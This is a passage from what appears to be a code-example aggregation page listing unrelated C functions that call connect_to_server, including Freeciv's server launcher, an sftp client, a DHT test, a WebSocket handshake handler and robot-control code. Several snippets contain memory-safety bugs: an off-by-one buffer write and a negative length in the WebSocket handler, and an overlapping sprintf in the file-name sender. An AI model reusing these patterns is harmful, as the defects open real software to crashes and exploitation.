  my_snprintf(options, sizeof(options), "-p %d -q 1 -e%s%s --saves \"%s\"",
	      internal_server_port, logcmdline, scriptcmdline, savesdir);
  my_snprintf(cmdline1, sizeof(cmdline1), "./ser %s", options);
  my_snprintf(cmdline2, sizeof(cmdline2), "./server/civserver %s", options);
  my_snprintf(cmdline3, sizeof(cmdline3), "civserver %s", options);

  if (!CreateProcess(NULL, cmdline1, NULL, NULL, TRUE,
		     DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,
		     NULL, NULL, &si, &pi) 
      && !CreateProcess(NULL, cmdline2, NULL, NULL, TRUE,
			DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,
			NULL, NULL, &si, &pi) 
      && !CreateProcess(NULL, cmdline3, NULL, NULL, TRUE,
			DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,
			NULL, NULL, &si, &pi)) {
    output_window_append(FTC_CLIENT_INFO, NULL,
                         _("Couldn't start the server."));
    output_window_append(FTC_CLIENT_INFO, NULL,
                         _("You'll have to start one manually. Sorry..."));
    return FALSE;
  }
  
  server_process = pi.hProcess;

#  endif /* WIN32_NATIVE */
# endif /* HAVE_WORKING_FORK */
 
  /* a reasonable number of tries */ 
  while (connect_to_server(user_name, "localhost", internal_server_port, 
                           buf, sizeof(buf)) == -1) {
    myusleep(WAIT_BETWEEN_TRIES);
#ifdef HAVE_WORKING_FORK
#ifndef WIN32_NATIVE
    if (waitpid(server_pid, NULL, WNOHANG) != 0) {
      break;
    }
#endif /* WIN32_NATIVE */
#endif /* HAVE_WORKING_FORK */
    if (connect_tries++ > NUMBER_OF_TRIES) {
      break;
    }
  }

  /* weird, but could happen, if server doesn't support new startup stuff
   * capabilities won't help us here... */ 
  if (!client.conn.used) {
    /* possible that server is still running. kill it */ 
    client_kill_server(TRUE);

    output_window_append(FTC_CLIENT_INFO, NULL,
                         _("Couldn't connect to the server."));
    output_window_append(FTC_CLIENT_INFO, NULL,
                         _("We probably couldn't start it from here."));
    output_window_append(FTC_CLIENT_INFO, NULL,
                         _("You'll have to start one manually. Sorry..."));
    return FALSE;
  }

  /* We set the topology to match the view.
   *
   * When a typical player launches a game, he wants the map orientation to
   * match the tileset orientation.  So if you use an isometric tileset you
   * get an iso-map and for a classic tileset you get a classic map.  In
   * both cases the map wraps in the X direction by default.
   *
   * This works with hex maps too now.  A hex map always has
   * tileset_is_isometric(tileset) return TRUE.  An iso-hex map has
   * tileset_hex_height(tileset) != 0, while a non-iso hex map
   * has tileset_hex_width(tileset) != 0.
   *
   * Setting the option here is a bit of a hack, but so long as the client
   * has sufficient permissions to do so (it doesn't have HACK access yet) it
   * is safe enough.  Note that if you load a savegame the topology will be
   * set but then overwritten during the load. */
  send_chat_printf("/set topology %d",
                   (TF_WRAPX
                    | ((tileset_is_isometric(tileset)
                        && tileset_hex_height(tileset) == 0) ? TF_ISO : 0)
                    | ((tileset_hex_width(tileset) != 0
                        || tileset_hex_height(tileset) != 0) ? TF_HEX : 0)));

  return TRUE;
#endif /* HAVE_WORKING_FORK || WIN32_NATIVE */
}
示例#22
0
static void
run_test (struct sockaddr_in *addr)
{
    CLIENT *clnt;
    char value_val1[] = "Hello, world.";
    char value_val2[] = "Goodbye, world.";
    bamboo_put_args put_args;
    bamboo_get_args get_args;
    bamboo_get_res  *get_result;
    int first;

    memset (&put_args, 0, sizeof (put_args));
    memset (&get_args, 0, sizeof (get_args));

    srand (1);

    clnt = connect_to_server (addr);
    do_null_call (clnt);

    // Do a first put.

    random_key (put_args.key, sizeof (put_args.key));
    put_args.value.bamboo_value_val = value_val1;
    put_args.value.bamboo_value_len = sizeof (value_val1);
    do_put (clnt, &put_args);

    // Check that the data's there.

    memcpy (get_args.key, put_args.key, sizeof (get_args.key));
    get_result = do_get (clnt, &get_args);

    if (get_result->values.values_len != 1) {
        printf ("Get failed: returned %d values.\n", 
                get_result->values.values_len);
        exit (1);
    }
    if (compare_values (&(get_result->values.values_val [0]),
             value_val1, sizeof (value_val1)) != 0) {
        printf ("Get failed: values don't match: %s vs %s\n", 
                value_val1,
                get_result->values.values_val [0].bamboo_value_val);
        exit (1);
    }
    printf ("Get successful.\n");

    // Do a second put with the same key.

    put_args.value.bamboo_value_val = value_val2;
    put_args.value.bamboo_value_len = sizeof (value_val2);
    do_put (clnt, &put_args);

    // Check that both values are there.

    get_result = do_get (clnt, &get_args); 
    if (get_result->values.values_len != 1) {
        printf ("Get failed: returned %d values.\n", 
                get_result->values.values_len);
        exit (1);
    }

    printf ("Get returned value %s.\n", 
            get_result->values.values_val [0].bamboo_value_val);

    if (compare_values (&(get_result->values.values_val [0]),
             value_val1, sizeof (value_val1)) == 0) {
        printf ("Get returned first value.\n");
        first = TRUE;
    }
    else if (compare_values (&(get_result->values.values_val [0]),
                    value_val2, sizeof (value_val2)) == 0) {
        printf ("Get second first value.\n");
        first = FALSE;
    }
    else {
        printf ("Get failed: returned neither value.\n");
        exit (1);
    }

    get_args.placemark.bamboo_placemark_val = 
        get_result->placemark.bamboo_placemark_val;
    get_args.placemark.bamboo_placemark_len = 
        get_result->placemark.bamboo_placemark_len;

    get_result = do_get (clnt, &get_args); 
    if (get_result->values.values_len != 1) {
        printf ("Get failed: returned %d values.\n", 
                get_result->values.values_len);
        exit (1);
    }

    printf ("Get returned value %s.\n", 
            get_result->values.values_val [0].bamboo_value_val);

    if (first) {
        if (compare_values (&(get_result->values.values_val [0]),
                value_val2, sizeof (value_val2)) != 0) {
        printf ("Get failed: second value doesn't match: %s vs %s\n", 
                value_val2,
                get_result->values.values_val [0].bamboo_value_val);
        exit (1);
        }
    }
    else if (compare_values (&(get_result->values.values_val [0]),
                value_val1, sizeof (value_val1)) != 0) {
        printf ("Get failed: second value doesn't match: %s vs %s\n", 
                value_val1,
                get_result->values.values_val [0].bamboo_value_val);
        exit (1);
    }

    printf ("Get successful.\n");

    // Do a put with a different key.

    random_key (put_args.key, sizeof (put_args.key));
    do_put (clnt, &put_args);

    // Check that the data's there.

    memcpy (get_args.key, put_args.key, sizeof (get_args.key));
    get_args.placemark.bamboo_placemark_val = NULL;
    get_args.placemark.bamboo_placemark_len = 0;
    get_result = do_get (clnt, &get_args);

    if (get_result->values.values_len != 1) {
        printf ("Get failed: returned %d values.\n", 
                get_result->values.values_len);
        exit (1);
    }
    if (compare_values (&(get_result->values.values_val [0]),
             value_val2, sizeof (value_val2)) != 0) {
        printf ("Get failed: values don't match: %s vs %s\n", 
                value_val2,
                get_result->values.values_val [0].bamboo_value_val);
        exit (1);
    }
    printf ("Get successful.\n");

    clnt_destroy (clnt);
}
示例#23
0
/**************************************************************** 
forks a server if it can. returns FALSE is we find we couldn't start
the server.
*****************************************************************/ 
bool client_start_server(void)
{
#if !defined(HAVE_WORKING_FORK) && !defined(WIN32_NATIVE)
  /* Can't do much without fork */
  return FALSE;
#else /* HAVE_WORKING_FORK || WIN32_NATIVE */
  char buf[512];
  int connect_tries = 0;
# ifdef WIN32_NATIVE
  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  char savesdir[MAX_LEN_PATH];
  char scensdir[MAX_LEN_PATH];
  char options[512];
  char cmdline1[512];
  char cmdline2[512];
  char cmdline3[512];
  char cmdline4[512];
  char logcmdline[512];
  char scriptcmdline[512];
  char savescmdline[512];
  char scenscmdline[512];
# endif /* WIN32_NATIVE */

#ifdef IPV6_SUPPORT
  /* We want port that is free in IPv4 even if we (the client) have
   * IPv6 support. In the unlikely case that local server is IPv4-only
   * (meaning that it has to be from different build than client) we
   * have to give port that it can use. IPv6-enabled client would first
   * try same port in IPv6 and if that fails, fallback to IPv4 too. */
  enum fc_addr_family family = FC_ADDR_IPV4;
#else
  enum fc_addr_family family = FC_ADDR_IPV4;
#endif /* IPV6_SUPPORT */

  /* only one server (forked from this client) shall be running at a time */
  /* This also resets client_has_hack. */
  client_kill_server(TRUE);

  output_window_append(ftc_client, _("Starting server..."));

  /* find a free port */
  internal_server_port = find_next_free_port(DEFAULT_SOCK_PORT, family);

# ifdef HAVE_WORKING_FORK
  server_pid = fork();
  
  if (server_pid == 0) {
    int fd, argc = 0;
    const int max_nargs = 18;
    char *argv[max_nargs + 1], port_buf[32];

    /* inside the child */

    /* Set up the command-line parameters. */
    fc_snprintf(port_buf, sizeof(port_buf), "%d", internal_server_port);
    argv[argc++] = "freeciv-server";
    argv[argc++] = "-p";
    argv[argc++] = port_buf;
    argv[argc++] = "--bind";
    argv[argc++] = "localhost";
    argv[argc++] = "-q";
    argv[argc++] = "1";
    argv[argc++] = "-e";
    argv[argc++] = "--saves";
    argv[argc++] = "~/.freeciv/saves";
    argv[argc++] = "--scenarios";
    argv[argc++] = "~/.freeciv/scenarios";
    if (logfile) {
      argv[argc++] = "--debug";
      argv[argc++] = "3";
      argv[argc++] = "--log";
      argv[argc++] = logfile;
    }
    if (scriptfile) {
      argv[argc++] = "--read";
      argv[argc++] = scriptfile;
    }
    argv[argc] = NULL;
    fc_assert(argc <= max_nargs);

    /* avoid terminal spam, but still make server output available */ 
    fclose(stdout);
    fclose(stderr);

    /* FIXME: include the port to avoid duplication? */
    if (logfile) {
      fd = open(logfile, O_WRONLY | O_CREAT | O_APPEND, 0644);

      if (fd != 1) {
        dup2(fd, 1);
      }
      if (fd != 2) {
        dup2(fd, 2);
      }
      fchmod(1, 0644);
    }

    /* If it's still attatched to our terminal, things get messed up, 
      but freeciv-server needs *something* */ 
    fclose(stdin);
    fd = open("/dev/null", O_RDONLY);
    if (fd != 0) {
      dup2(fd, 0);
    }

    /* these won't return on success */
#ifdef DEBUG
    /* Search under current directory (what ever that happens to be)
     * only in debug builds. This allows running freeciv directly from build
     * tree, but could be considered security risk in release builds. */
    execvp("./fcser", argv);
    execvp("./server/freeciv-server", argv);
#endif /* DEBUG */
    execvp(BINDIR "/freeciv-server", argv);
    execvp("freeciv-server", argv);

    /* This line is only reached if freeciv-server cannot be started, 
     * so we kill the forked process.
     * Calling exit here is dangerous due to X11 problems (async replies) */ 
    _exit(1);
  } 
# else /* HAVE_WORKING_FORK */
#  ifdef WIN32_NATIVE
  if (logfile) {
    loghandle = CreateFile(logfile, GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL,
			   OPEN_ALWAYS, 0, NULL);
  }

  ZeroMemory(&si, sizeof(si));
  si.cb = sizeof(si);
  si.hStdOutput = loghandle;
  si.hStdInput = INVALID_HANDLE_VALUE;
  si.hStdError = loghandle;
  si.dwFlags = STARTF_USESTDHANDLES;

  /* Set up the command-line parameters. */
  logcmdline[0] = 0;
  scriptcmdline[0] = 0;

  /* the server expects command line arguments to be in local encoding */ 
  if (logfile) {
    char *logfile_in_local_encoding =
        internal_to_local_string_malloc(logfile);

    fc_snprintf(logcmdline, sizeof(logcmdline), " --debug 3 --log %s",
                logfile_in_local_encoding);
    free(logfile_in_local_encoding);
  }
  if (scriptfile) {
    char *scriptfile_in_local_encoding =
        internal_to_local_string_malloc(scriptfile);

    fc_snprintf(scriptcmdline, sizeof(scriptcmdline),  " --read %s",
                scriptfile_in_local_encoding);
    free(scriptfile_in_local_encoding);
  }

  interpret_tilde(savesdir, sizeof(savesdir), "~/.freeciv/saves");
  internal_to_local_string_buffer(savesdir, savescmdline, sizeof(savescmdline));

  interpret_tilde(scensdir, sizeof(scensdir), "~/.freeciv/scenarios");
  internal_to_local_string_buffer(scensdir, scenscmdline, sizeof(scenscmdline));

  fc_snprintf(options, sizeof(options),
              "-p %d --bind localhost -q 1 -e%s%s --saves \"%s\" "
              "--scenarios \"%s\"",
              internal_server_port, logcmdline, scriptcmdline, savescmdline,
              scenscmdline);
  fc_snprintf(cmdline1, sizeof(cmdline1), "./fcser %s", options);
  fc_snprintf(cmdline2, sizeof(cmdline2),
              "./server/freeciv-server %s", options);
  fc_snprintf(cmdline3, sizeof(cmdline3),
              BINDIR "/freeciv-server %s", options);
  fc_snprintf(cmdline4, sizeof(cmdline4),
              "freeciv-server %s", options);

  if (
#ifdef DEBUG
      !CreateProcess(NULL, cmdline1, NULL, NULL, TRUE,
                     DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,
                     NULL, NULL, &si, &pi)
      && !CreateProcess(NULL, cmdline2, NULL, NULL, TRUE,
                        DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,
                        NULL, NULL, &si, &pi)
      &&
#endif /* DEBUG */
      !CreateProcess(NULL, cmdline3, NULL, NULL, TRUE,
                     DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,
                     NULL, NULL, &si, &pi)
      && !CreateProcess(NULL, cmdline4, NULL, NULL, TRUE,
                        DETACHED_PROCESS | NORMAL_PRIORITY_CLASS,
                        NULL, NULL, &si, &pi)) {
    output_window_append(ftc_client, _("Couldn't start the server."));
    output_window_append(ftc_client,
                         _("You'll have to start one manually. Sorry..."));
    return FALSE;
  }

  server_process = pi.hProcess;

#  endif /* WIN32_NATIVE */
# endif /* HAVE_WORKING_FORK */
 
  /* a reasonable number of tries */ 
  while (connect_to_server(user_name, "localhost", internal_server_port, 
                           buf, sizeof(buf)) == -1) {
    fc_usleep(WAIT_BETWEEN_TRIES);
#ifdef HAVE_WORKING_FORK
#ifndef WIN32_NATIVE
    if (waitpid(server_pid, NULL, WNOHANG) != 0) {
      break;
    }
#endif /* WIN32_NATIVE */
#endif /* HAVE_WORKING_FORK */
    if (connect_tries++ > NUMBER_OF_TRIES) {
      break;
    }
  }

  /* weird, but could happen, if server doesn't support new startup stuff
   * capabilities won't help us here... */ 
  if (!client.conn.used) {
    /* possible that server is still running. kill it */ 
    client_kill_server(TRUE);

    output_window_append(ftc_client, _("Couldn't connect to the server."));
    output_window_append(ftc_client,
                         _("We probably couldn't start it from here."));
    output_window_append(ftc_client,
                         _("You'll have to start one manually. Sorry..."));
    return FALSE;
  }

  /* We set the topology to match the view.
   *
   * When a typical player launches a game, he wants the map orientation to
   * match the tileset orientation.  So if you use an isometric tileset you
   * get an iso-map and for a classic tileset you get a classic map.  In
   * both cases the map wraps in the X direction by default.
   *
   * This works with hex maps too now.  A hex map always has
   * tileset_is_isometric(tileset) return TRUE.  An iso-hex map has
   * tileset_hex_height(tileset) != 0, while a non-iso hex map
   * has tileset_hex_width(tileset) != 0.
   *
   * Setting the option here is a bit of a hack, but so long as the client
   * has sufficient permissions to do so (it doesn't have HACK access yet) it
   * is safe enough.  Note that if you load a savegame the topology will be
   * set but then overwritten during the load.
   *
   * Don't send it now, it will be sent to the server when receiving the
   * server setting infos. */
  {
    char buf[16];

    fc_strlcpy(buf, "WRAPX", sizeof(buf));
    if (tileset_is_isometric(tileset) && 0 == tileset_hex_height(tileset)) {
      fc_strlcat(buf, "|ISO", sizeof(buf));
    }
    if (0 < tileset_hex_width(tileset) || 0 < tileset_hex_height(tileset)) {
      fc_strlcat(buf, "|HEX", sizeof(buf));
    }
    desired_settable_option_update("topology", buf, FALSE);
  }

  return TRUE;
#endif /* HAVE_WORKING_FORK || WIN32_NATIVE */
}
示例#24
0
int main(int argc, char** argv) {
    if(argc != 4){
        printf("Usage: %s <server-ip> <port> <directory\n", argv[0]);
        return 0;
    }

    char buffer[(1<<16)+1];
    buffer[0] = '\0';

    DIR *dir;
    struct dirent *ent;
    if ((dir = opendir (argv[3])) != NULL) {
        //read all files in the directory specified
        while ((ent = readdir (dir)) != NULL) {
            // send_stuffed_msg(con, ent->d_name);
            // if(!receive_ack(con)){
            //     printf("The server don't seem to support our protocol\n");
            //     close_connection(con);
            //     return EXIT_FAILURE;
            // }
            // bytesTransfered += strlen(ent->d_name)+1;
            // bytesTransfered += ACK_LEN;
            if(ent->d_name[0] != '.'){
                sprintf(buffer, "%s%s\n", buffer, ent->d_name);
            }
        }
        closedir (dir);
    } else {
        printf("We couldn't open the specified directory\n");
        return EXIT_FAILURE;
    }

    char* address = argv[1];
    int port = atoi(argv[2]);

    Connection* con = connect_to_server(address, port);

    if(con == NULL){
        printf("Couldn't connect to the server. Is the address correct? (only ip addesses are supported)\n");
        return EXIT_FAILURE;
    }

    struct timespec beginTime, endTime;

    int bytesTransfered = 0;


    send_greeting(con);
    if(!receive_greet_ack(con)){
        printf("The server don't seem to support our protocol\n");
        close_connection(con);
        return EXIT_FAILURE;
    }

    send_stuffed_msg(con, argv[3]);
    if(!receive_ack(con)){
        printf("The server don't seem to support our protocol\n");
        close_connection(con);
        return EXIT_FAILURE;
    }

    clock_gettime(CLOCK_REALTIME, &beginTime);

    send_stuffed_msg(con, buffer);
    if(!receive_ack(con)){
        printf("The server don't seem to support our protocol\n");
        close_connection(con);
        return EXIT_FAILURE;
    }

    bytesTransfered = strlen(buffer);

    clock_gettime(CLOCK_REALTIME, &endTime);

    send_farewell(con);
    close_connection(con);

    double ellapsedTime = (endTime.tv_sec - beginTime.tv_sec) + (endTime.tv_nsec - beginTime.tv_nsec) / 1E9;




    printf("The file names were successfully sent %d B to server in %f seconds at %f B/s.\n", bytesTransfered, ellapsedTime, (bytesTransfered/ellapsedTime));

    return 0;
}
int
main(int argc, char **argv)
{
	int in, out, ch;
	pid_t sshpid;
	char *host, *userhost, *cp, *file2;
	int debug_level = 0, sshver = 2;
	char *file1 = NULL, *sftp_server = NULL;
	char *ssh_program = _PATH_SSH_PROGRAM, *sftp_direct = NULL;
	LogLevel ll = SYSLOG_LEVEL_INFO;
	arglist args;
	extern int optind;
	extern char *optarg;

	__progname = get_progname(argv[0]);
	args.list = NULL;
	addargs(&args, "ssh");		/* overwritten with ssh_program */
	addargs(&args, "-oFallBackToRsh no");
	addargs(&args, "-oForwardX11 no");
	addargs(&args, "-oForwardAgent no");
	addargs(&args, "-oClearAllForwardings yes");
	ll = SYSLOG_LEVEL_INFO;
	infile = stdin;		/* Read from STDIN unless changed by -b */

	while ((ch = getopt(argc, argv, "1hvCo:s:S:b:B:F:P:R:")) != -1) {
		switch (ch) {
		case 'C':
			addargs(&args, "-C");
			break;
		case 'v':
			if (debug_level < 3) {
				addargs(&args, "-v");
				ll = SYSLOG_LEVEL_DEBUG1 + debug_level;
			}
			debug_level++;
			break;
		case 'F':
		case 'o':
			addargs(&args, "-%c%s", ch, optarg);
			break;
		case '1':
			sshver = 1;
			if (sftp_server == NULL)
				sftp_server = _PATH_SFTP_SERVER;
			break;
		case 's':
			sftp_server = optarg;
			break;
		case 'S':
			ssh_program = optarg;
			break;
		case 'b':
			if (infile == stdin) {
				infile = fopen(optarg, "r");
				if (infile == NULL)
					fatal("%s (%s).", strerror(errno), optarg);
			} else
				fatal("Filename already specified.");
			break;
		case 'P':
			sftp_direct = optarg;
			break;
		case 'B':
			copy_buffer_len = strtol(optarg, &cp, 10);
			if (copy_buffer_len == 0 || *cp != '\0')
				fatal("Invalid buffer size \"%s\"", optarg);
			break;
		case 'R':
			num_requests = strtol(optarg, &cp, 10);
			if (num_requests == 0 || *cp != '\0')
				fatal("Invalid number of requests \"%s\"",
				    optarg);
			break;
		case 'h':
		default:
			usage();
		}
	}

	log_init(argv[0], ll, SYSLOG_FACILITY_USER, 1);

	if (sftp_direct == NULL) {
		if (optind == argc || argc > (optind + 2))
			usage();

		userhost = xstrdup(argv[optind]);
		file2 = argv[optind+1];

		if ((cp = colon(userhost)) != NULL) {
			*cp++ = '\0';
			file1 = cp;
		}

		if ((host = strchr(userhost, '@')) == NULL)
			host = userhost;
		else {
			*host++ = '\0';
			if (!userhost[0]) {
				fprintf(stderr, "Missing username\n");
				usage();
			}
			addargs(&args, "-l%s",userhost);
		}

		host = cleanhostname(host);
		if (!*host) {
			fprintf(stderr, "Missing hostname\n");
			usage();
		}

		addargs(&args, "-oProtocol %d", sshver);

		/* no subsystem if the server-spec contains a '/' */
		if (sftp_server == NULL || strchr(sftp_server, '/') == NULL)
			addargs(&args, "-s");

		addargs(&args, "%s", host);
		addargs(&args, "%s", (sftp_server != NULL ?
		    sftp_server : "sftp"));
		args.list[0] = ssh_program;

		fprintf(stderr, "Connecting to %s...\n", host);
		connect_to_server(ssh_program, args.list, &in, &out,
		    &sshpid);
	} else {
		args.list = NULL;
		addargs(&args, "sftp-server");

		fprintf(stderr, "Attaching to %s...\n", sftp_direct);
		connect_to_server(sftp_direct, args.list, &in, &out,
		    &sshpid);
	}

	interactive_loop(in, out, file1, file2);

#if !defined(USE_PIPES)
	shutdown(in, SHUT_RDWR);
	shutdown(out, SHUT_RDWR);
#endif

	close(in);
	close(out);
	if (infile != stdin)
		fclose(infile);

	while (waitpid(sshpid, NULL, 0) == -1)
		if (errno != EINTR)
			fatal("Couldn't wait for ssh process: %s",
			    strerror(errno));

	exit(0);
}
示例#26
0
// handle the websocket handshake
void client_read_ws_handshake ( struct bufferevent* be, void* arg ) {
  // Examine the input buffer without reading from it.
  // Wait untill we have the full handshake to begin processing.
  int len = EVBUFFER_LENGTH ( EVBUFFER_INPUT ( be ) );
  char* data = EVBUFFER_DATA (  EVBUFFER_INPUT ( be ) );
  char buf[1024];
  if ( len > sizeof buf ) len = sizeof buf;
  memcpy ( buf, data, len );
  buf[len] = '\0';

  // the spec http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-68 is very
  // strict regarding the handshake.
  
  char* endofheaders = strstr ( buf, "\r\n\r\n" );
  if ( endofheaders == NULL ) return;

  char* origin;
  char* eoo; // end of origin
  if ( ( origin = strstr ( buf, "Origin:" ) ) == NULL || 
       ( eoo = strchr ( origin, '\r' ) ) == NULL ) {
    // didn't get all of the websocket headers, read more
    return;
  }

  origin += 8;
  *eoo = '\0';
  // chop the buffer up at each space char
  char* strings[50];
  int n = 0;
  char* ptmp;
  char* p = strtok_r ( buf, " ", &ptmp );
  while ( n < 50 && p != NULL ) {
    strings[n++] = p;
    p = strtok_r ( NULL, " ", &ptmp );
  }
  if ( n < 7 || strncmp ( "GET", strings[0], 3 ) != 0 ||
       strncmp ( "HTTP/1.1\r\nUpgrade:", strings[2], 18 ) != 0 ||
       strncmp ( "WebSocket\r\nConnection:", strings[3], 22 ) != 0 ||
       strncmp ( "Upgrade\r\nHost:", strings[4], 15 ) != 0 ||
       strlen ( strings[5] ) < 9 ||
       strlen ( strings[6] ) < 4 ) {
    // error
  }
  
  char* host = strings[5];
  int l = strlen ( host );
  host[l - 9] = '\0';

  // grab the info we are interested in
  host = strdup ( host );  origin = strdup ( origin ); char* uri = strdup ( strings[1] );

  // remove the handshake and headers from the input buffer
  int hs_len = buf - endofheaders + 4;
  bufferevent_read ( be, buf, hs_len );

  // send handshake response
  snprintf ( buf, sizeof buf,
	     "HTTP/1.1 101 Web Socket Protocol Handshake\r\n"
	     "Upgrade: WebSocket\r\n"
	     "Connection: Upgrade\r\n"
	     "WebSocket-Origin: %s\r\n"
	     "WebSocket-Location: ws://%s%s\r\n\r\n",
	     origin, host, uri );
  free ( host ); free ( origin ); free ( uri );
  
  // send websock handshake
  bufferevent_write ( be, buf, strlen ( buf ) );
  bufferevent_enable ( be, EV_WRITE );
  
  struct bufferevent* server = connect_to_server ( serverhost, serverport, be );
  
  // reconfig the read callback 
  bufferevent_setcb ( be, client_read, NULL, be_error, server );
  client_read ( be, server );
}
示例#27
0
/*
 * Replicates a given file
 * Takes the index in the server table for from and to
 * Caller must lock the global tables (modifies the file_list)
 */
int replicate(int f_idx, int from, int to)
{
  char *f_name = file_list[f_idx].name;
  char *s_from = server_list[from].name;
  char *s_to = server_list[to].name;
  int fd_from = -1;
  int fd_to = -1;
  int sock_from = -1;
  int sock_to = -1;
  int r_len = -1, w_len = -1;
  char buff[8192];

  // See if src is same as destn
  if (from == to) {
    printf ("***NO REPLICATE*** from == to\n");
    return(-1);;
  }
  // connect to servers
  if (((sock_from = connect_to_server(s_from, server_port)) < 0 ) ||
      ((sock_to = connect_to_server(s_to, server_port)) < 0 )) {
    perror("Replication failed");
    if (sock_from >= 0) close(sock_from);
    if (sock_to >= 0) close(sock_to);
    return(-1);
  }

  // open files
  if (((fd_from = client_open(sock_from, f_name, O_RDONLY)) < 0 ) ||
      ((fd_to = client_open(sock_to, f_name, O_CREAT | O_WRONLY)) < 0 )) {
    perror("Replication failed");
    if (fd_from >= 0) client_close(sock_from, fd_from);
    client_end(sock_from);
    if(fd_to >= 0) client_close(sock_to, fd_to);
    client_end(sock_to);
    return(-2);
  }

  // read file from source server and transfer to dest server
  do {
    if ((r_len = client_read(sock_from, fd_from, buff,
			     sizeof(buff))) < 0) {
      perror("Replication failed");
      client_close(sock_from, fd_from);
      client_end(sock_from);
      client_close(sock_to, fd_to);
      client_end(sock_to);
      return(-3);
    }

    if ((w_len = client_write(sock_to, fd_to, buff,
			      r_len)) < 0 ) {
      perror("Replication failed");
      client_close(sock_from, fd_from);
      client_end(sock_from);
      client_close(sock_to, fd_to);
      client_end(sock_to);
      return(-4);
    }
  } while (r_len == sizeof(buff));    // read until eof

  // close files
  client_close(sock_from, fd_from);
  client_end(sock_from);
  client_close(sock_to, fd_to);
  client_end(sock_to);

  // update tables - add destn server to file's record
  file_list[f_idx].index[file_list[f_idx].tot_idx++] = to;

  return(0);

}
示例#28
0
int main()
{
    init(0);
    signal(SIGINT, terminate);
    signal(SIGTERM, terminate);

    if (gate_test == 1) {
        //connects to server with the ip address 130.195.6.196
        connect_to_server("130.195.6.196", 1024);
        //sends a message to the connected server
        send_to_server("Please"); // "Please is the 'codeword', may change
        //receives message from the connected server
        char message[24];
        receive_from_server(message);
        send_to_server(message); // send password back to server to open up gate.
    }

    Sleep(1, 000000);
    speed = 90;

    v_left = speed - Tcorrection; // speed of left motor
    v_right = speed + Tcorrection; // speed of right motor

    // Method for completing quadrant 1
    while (method == 1) {
        Dconstant = 340;
        clock_gettime(CLOCK_REALTIME, &now);
        prev_ms = (now.tv_sec * 1000 + (now.tv_nsec + 500000) / 1000000); //convert to milliseconds
        take_picture();
        n_whites_mid = 0;
        for (int i = 0; i < NTP; i++) {
            int x = dx * i + (dx / 2);
            midPic[i] = get_pixel(x, 1, 3);

            if (midPic[i] > THRESHOLD) {
                // 1 = white
                midPic[i] = 1;
                n_whites_mid++;
            }
            else {
                // 0 = black
                midPic[i] = 0;
            }
        }

        // reset variables
        error_mid = 0.0;

        for (int l = 0; l < NTP; l++) {
            error_mid = error_mid + (zeroCentre[l] * midPic[l]);
        }

        if (n_whites_mid != 0 && n_whites_mid != NTP) {
            GeneralPID();
        }

        else if (n_whites_mid == NTP) {
            method = 2;
        }

        else if (n_whites_mid == 0) {
            // if loses line, swings quickly to direction of last error of line seen
            if (Perror_mid > 0) {
                // hard left
                v_left = -15;
                v_right = 40;
            }

            else if (Perror_mid < 0) {
                // hard right
                v_left = 40;
                v_right = -15;
            }
        }

        Perror_mid = error_mid;
        clock_gettime(CLOCK_REALTIME, &now);
        now_ms = (now.tv_sec * 1000 + (now.tv_nsec + 500000) / 1000000); //convert to milliseconds

        delta_ms = now_ms - prev_ms;
        set_motor(1, v_left);
        set_motor(2, v_right);
    }

    // method for completing quadrant 3
    while (method == 2) {

        speed = 65;
        Pconstant = 0.6;
        Dconstant = 375;
        clock_gettime(CLOCK_REALTIME, &now);
        prev_ms = (now.tv_sec * 1000 + (now.tv_nsec + 500000) / 1000000); //convert to milliseconds
        take_picture();
        n_whites_mid = 0;
        n_whites_left = 0;
        n_whites_right = 0;
        sensor_right = read_analog(2);
        for (int i = 0; i < NTP; i++) {
            int x = dx * i + (dx / 2);
            int y = dy * i + (dy / 2);
            midPic[i] = get_pixel(x, 1, 3);
            leftPic[i] = get_pixel(1, y, 3);
            rightPic[i] = get_pixel(319, y, 3);
            if (midPic[i] > THRESHOLD) {
                // 1 = white
                midPic[i] = 1;
                n_whites_mid++;
            }
            else {
                // 0 = black
                midPic[i] = 0;
            }

            if (leftPic[i] > THRESHOLD) {
                // 1 = white
                leftPic[i] = 1;
                n_whites_left++;
            }
            else {
                // 0 = black
                leftPic[i] = 0;
            }

            if (rightPic[i] > THRESHOLD) {
                // 1 = white
                rightPic[i] = 1;
                n_whites_right++;
            }
            else {
                // 0 = black
                rightPic[i] = 0;
            }

            if (sensor_right > 300) {
                method = 3;
            }
        }
        // reset variables
        error_mid = 0.0;
        for (int l = 0; l < NTP; l++) {
            error_mid = error_mid + zeroCentre[l] * midPic[l];
        }

        // t junction
        if (midPic[16] == 0 && n_whites_left != 0 && n_whites_right != 0) {
            v_left = speed;
            v_right = speed;
            set_motor(2, v_right);
            set_motor(1, v_left);
            Sleep(0, 200000);

            while (midPic[16] == 0) {
                Quad3Process(); // calls method to take image and process values
                v_left = speed;
                v_right = -0.7 * speed;
                set_motor(2, v_right);
                set_motor(1, v_left);
            }
        }
        // left turn
        else if (midPic[16] == 0 && n_whites_left != 0 && n_whites_right < 5) {
            v_left = speed;
            v_right = speed;
            set_motor(2, v_right);
            set_motor(1, v_left);
            Sleep(0, 200000);

            while (midPic[16] == 0) {
                Quad3Process();
                v_left = speed;
                v_right = -0.7 * speed;
                set_motor(2, v_right);
                set_motor(1, v_left);
            }
        }
        //right turn
        else if (midPic[16] == 0 && n_whites_left < 5 && n_whites_right != 0) {
            v_left = speed;
            v_right = speed;
            set_motor(2, v_right);
            set_motor(1, v_left);
            Sleep(0, 200000);

            while (midPic[16] == 0) {
                Quad3Process();
                v_left = speed;
                v_right = -0.7 * speed;
                set_motor(1, v_right);
                set_motor(2, v_left);
            }
        }
        // dead end - should do 180
        else if (n_whites_mid == 0 && n_whites_left == 0 && n_whites_right == 0) {
            while (midPic[16] == 0) {
                Quad3Process();
                v_left = -speed;
                v_right = speed;
                set_motor(1, v_right);
                set_motor(2, v_left);
            }
        }

        // pid
        else if (n_whites_mid != 0 && n_whites_mid != NTP) {
            GeneralPID();
        }

        else if (n_whites_mid == 0) {
            v_left = 45;
            v_right = 45;
        }

        Perror_mid = error_mid;
        clock_gettime(CLOCK_REALTIME, &now);
